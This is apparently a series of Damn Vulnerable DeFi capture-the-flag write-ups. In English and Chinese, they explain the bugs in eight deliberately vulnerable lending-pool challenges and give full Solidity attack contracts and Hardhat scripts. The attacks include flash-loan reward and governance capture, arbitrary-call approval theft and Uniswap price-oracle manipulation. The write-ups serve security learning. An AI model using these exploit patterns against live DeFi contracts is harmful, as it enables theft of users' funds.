Damn vulnerable defi Challenges

how to get it started

  1. git clone github repo
  2. yarn install
  3. fill your code in *.challenge.js
  4. run your script via hardhat tools

Challenge1

1
2
3
4
5
6
7
8
9
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
await token
.connect(player)
.approve(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
await token
.connect(player)
.transfer(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
});

Challenge2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
interface INaiveReceiverLenderPool{
function fixedFee(address token, uint256) external pure returns (uint256);
function flashLoan(address receiver,address token, uint256 amount,bytes calldata data) external returns (bool);
}

contract AttackContract {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

function attack(INaiveReceiverLenderPool pool,address payable receiver) external {
for(uint i=0;i<10;i++){
pool.flashLoan(receiver, ETH,0,"0x");
}
}
}

Challenge3

Use ERC20 approve function and not it will not affect the balance when making flashloan.

1
2
3
4
5
function attack(TrusterLenderPool pool,DamnValuableToken _token) external {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)",address(this),type(uint256).max);
pool.flashLoan(0,address(this),address(_token),data);
_token.transferFrom(address(pool),msg.sender,_token.balanceOf(address(pool)));
}

Challenge4

Use our deployed contract to send back the token using deposit function.After the flashloan call withdraw function to take our tokens back.
Do not forget to set the receive function for receiving tokens.
Use _to.call function to send tokens,it is the current recommended method to use.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract Attack {
function execute() external payable {
SideEntranceLenderPool(msg.sender).deposit{value:msg.value}();
}

function attack(SideEntranceLenderPool pool,address payable player) external {
//make a flashloan
pool.flashLoan(1000 ether);
//get the money
pool.withdraw();
//send to palyer
(bool sent,) = player.call{value:1000 ether}("");
require(sent, "Failed to send Ether");
}

receive() external payable {}
}

Challenge5

The reward pool only count the amount of deposit. We can use flash loan to borrow some DVT token and claim the reward token at the same time.Here goes the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
contract TheRewardAttack {
//flashloan pool address.
FlashLoanerPool private immutable pool;
DamnValuableToken private immutable DVTtoken;
TheRewarderPool private immutable RewardPool;
RewardToken private immutable RdToken;
address private owner;

constructor(FlashLoanerPool _pool,DamnValuableToken _token,TheRewarderPool _RewardPool,RewardToken _Rdtoken,address player) {
pool = _pool;
DVTtoken = _token;
RewardPool = _RewardPool;
RdToken = _Rdtoken;
owner = player;
}

function receiveFlashLoan(uint256 amount) external{
//do something.
//deposit to reward pool
//approve amount to the reward pool
DVTtoken.approve(address(RewardPool),amount);

RewardPool.deposit(amount);

//claim the rewards
RewardPool.distributeRewards();

//withdraw DVTtokens
RewardPool.withdraw(amount);

//return back DVT token.
DVTtoken.transfer(address(pool),amount);

//send reward token to our player.
RdToken.transfer(owner,RdToken.balanceOf(address(this)));
}

function attack(uint256 amount) external{
pool.flashLoan(amount);
}
}

Challenge6

This challenge is similar to the previous one.Firstly we use flashloan borrow some DVT token.Secondly we use the DVT token make a governance action.Finally two days later we make a executeAction to claim the DVT token to our attack contact and send it to our player.Here goes the entire code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity ^0.8.0;

import "./SimpleGovernance.sol";
import "./SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";
import "hardhat/console.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";

contract SelfieAttack is IERC3156FlashBorrower {

SelfiePool private immutable pool;
SimpleGovernance private immutable governance;
DamnValuableTokenSnapshot private immutable token;

constructor(SelfiePool _pool,SimpleGovernance _governance,DamnValuableTokenSnapshot _token) {
pool = _pool;
governance = _governance;
token = _token;
}

function onFlashLoan(address initiator,address _token,uint256 amount,uint256 fee,bytes calldata _data) external returns (bytes32){
//receive DVT token from pool
console.log("receive token:",DamnValuableTokenSnapshot(_token).balanceOf(address(this)));

//make a snapshot ?
DamnValuableTokenSnapshot(_token).snapshot();

//submit an governance action
bytes memory data = abi.encodeWithSignature("emergencyExit(address)",address(this));

governance.queueAction(address(pool),0,data);

//approve DVT token to lending pool.
DamnValuableTokenSnapshot(_token).approve(address(pool),amount);

//return success bytes
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}

function exeAction(uint256 actionId) external {
//execute the action
governance.executeAction(actionId);
//send token to mother fuck sender please
DamnValuableTokenSnapshot(token).transfer(msg.sender,DamnValuableTokenSnapshot(token).balanceOf(address(this)));
}

function attack(uint256 borrowAmount) external {
//make a DVT token flashloan
pool.flashLoan(IERC3156FlashBorrower(this),address(token),borrowAmount,'0x');
}
}

Challenge7

Get the private key from the leak data,and then use source address to change the price of NFT.Finnaly sell the NFT for a profit.

Challenge8

The cost amount for lending is pegging with uniswap pool:

uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair)

Therefore, we use swap all our DVT token to ETH and then the number of uniswapPair.balance/token.balanceOf(uniswapPair) goes down.After that happened we can deposit our eth to borrow all the DVT token in lending pool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract PuppetAttack {

address public immutable uniswapExchange;
DamnValuableToken public immutable token;
PuppetPool public immutable pool;
constructor(address tokenAddress, address _uniswapExchange,PuppetPool _pool){
token = DamnValuableToken(tokenAddress);
uniswapExchange = _uniswapExchange;
pool = _pool;
}

function attack() external payable {
//receive DVT
token.transferFrom(msg.sender,address(this),token.balanceOf(msg.sender));

//approve DVTtoken to uniswap pool
token.approve(uniswapExchange,token.balanceOf(address(this)));

//swap all DVT token to eth in uniswap pool.
UniswapExchangeInterface(uniswapExchange).tokenToEthSwapInput(token.balanceOf(address(this)), 1, block.timestamp+5);

//borrow DVT token by depositing eth.
pool.borrow{value:address(this).balance}(token.balanceOf(address(pool)),msg.sender);
}

receive() external payable{}
}

Damn vulnerable defi Challenge2 naive receiver

overview

There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user’s contract. If possible, in a single transaction.

how to get it started

  1. git clone github repo
  2. yarn install
  3. fill your code in *.challenge.js
  4. run your script via hardhat tools

Let’s jump into the naive receiver case solidity code:

[source code] consist of 2 solidity files:

  • FlashLoanReceiver.sol
  • NaiveReceiverLenderPool.sol

code bug

The issue here is that the user contract does not authenticate the user to be the owner, so anyone can just take any flash loan on behalf of that contract.
We can interact with pool contract directly to drain user’s contract like this:

1
2
3
4
const ETH = await pool.ETH();
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x");
}

Or we can delpoy an attack contract to invoking pool contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
interface INaiveReceiverLenderPool{
function fixedFee(address token, uint256) external pure returns (uint256);
function flashLoan(address receiver,address token, uint256 amount,bytes calldata data) external returns (bool);
}

contract AttackContract {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

function attack(INaiveReceiverLenderPool pool,address payable receiver) external {
for(uint i=0;i<10;i++){
pool.flashLoan(receiver, ETH,0,"0x");
}
}
}

After we deployed the attack contract,invoke it using javascript

1
2
3
const AttackFactory = await ethers.getContractFactory("AttackContract", player);
attack = await AttackFactory.deploy();
await attack.attack(pool.address, receiver.address);

Damn vulnerable defi challenge3 truster

overview

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

how to get it started

  1. git clone github repo
  2. yarn install
  3. fill your code in *.challenge.js
  4. run your script via hardhat tools

code bug

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));

token.transfer(borrower, amount);
// here.
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();

return true;
}

Target here means address of the DVT token that we deployed before.Thus we can use this call to approve amount to attacker address.Let's jump into code:

1
2
3
4
5
function attack(TrusterLenderPool pool,DamnValuableToken _token) external {
bytes memory data = abi.encodeWithSignature("approve(address,uint256)",address(this),type(uint256).max);
pool.flashLoan(0,address(this),address(_token),data);
_token.transferFrom(address(pool),msg.sender,_token.balanceOf(address(pool)));
}

Firstly, we need an abi string about the approve function.
Secondly,make a flash loan via pool address.
Finally,transfer all amount of pool DVT token to msg.sender(palyer).

hardhat test script

1
2
3
4
5
6
//deploy the attack contract
attack = await (
await ethers.getContractFactory("TrusterAttack", player)
).deploy();
//invoke attack contract via player address.
await attack.connect(player).attack(pool.address, token.address);
  • 1.deploy the attack contract
  • 2.invoke attack contract via player address.

Damn vulnerable defi Challenge1 unstoppable

alt ""

Damn vulnerable defi CTFs 挑战 1.Unstoppable 详解

Damn vulnerable defi 是学习以太坊智能合约攻防的网站。具有闪贷、价格预言机、NFT、DEX、lending pool,智能合约钱包、和时间锁等特性。

如何开始

    1. git clone github repo
    1. 通过 yarn 安装
    1. 在*.challenge.js 中填写编码
    1. 通过 hardhat 工具运行 test 脚本文件

挑战内容

需要通过交互使得闪贷合约停止工作

Unstoppable 内容

Unstoppable 合约中主要有 3 部分内容组成:

  • ERC20 token 合约 (DamnValuableToken.sol)
  • Unstoppable 主合约(UnstoppableVault.Sol)
  • 调用闪贷合约的调用合约(ReceiverUnstoppable.sol)

这里还需要用到 hardhat 的 test 合约功能,如果对这部分内容不是很了解的话可以先阅读下 hardhat 的相关文档Testing contracts
相关的命令行:

1
npx hardhat test TEST_FILE_ROUTER

这里和运行部署脚本有区别的地方是没有 run 命令需要注意下。

合约流程

合约的测试脚本中(unstoppable.challenge.js)包含了 3 个用户分别是部署者、发起攻击的用户、普通的调用闪贷的用户。同时也包含了 3 个合约分别是 token 合约、闪贷合约、普通调用闪贷业务的用户合约。

1
2
3
4
5
6
7
unstoppable.challenge.js

//部署者、发起攻击的用户、普通的调用闪贷的用户
let deployer, player, someUser;
//token 合约、闪贷合约、普通调用闪贷业务的用户合约
let token, vault, receiverContract;
...

当 token 合约和闪贷合约部署完成之后,像闪贷合约的部署地址支付了固定数量的 token。

1
2
await token.approve(vault.address, TOKENS_IN_VAULT);
await vault.deposit(TOKENS_IN_VAULT, deployer.address);

最后部署普通用户的合约,通过用户合约像借贷合约发起了一笔借贷的请求。用户部署的合约收到请求之后调用了借贷合约的 flashLoan 方法,在借贷合约中 flashLoan 会回调用户合约中的 onFlashLoan 方法。在回调完成之后需要像用户收回之前发出去的借贷 token 并按照条件收取一定的费用 fee。

代码问题点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
ReceiverUnstoppable.sol
/**
* @inheritdoc IERC3156FlashLender
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address _token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
//问题代码的位置.
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
uint256 fee = flashFee(_token, amount);
// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);
// callback must return magic value, otherwise assume it failed
if (receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data) != keccak256("IERC3156FlashBorrower.onFlashLoan"))
revert CallbackFailed();
// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);
return true;
}

balanceBefore 在代码中表示部署的合约地址中所包含的 token 数量,而 totalSupply 只有在 mint 的时候才会累加,具体的代码在:

1
2
3
4
5
6
7
8
9
10
11
12
ERC20.sol
function _mint(address to, uint256 amount) internal virtual {
totalSupply += amount;

// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}

emit Transfer(address(0), to, amount);
}

所以只需要让这 2 个值不相等的话请求就会 revert,通过分析我们利用 player 像合约直接发送一笔 token

解决方式

1
2
3
4
5
6
7
8
9
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
await token
.connect(player)
.approve(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
await token
.connect(player)
.transfer(vault.address, INITIAL_PLAYER_TOKEN_BALANCE);
});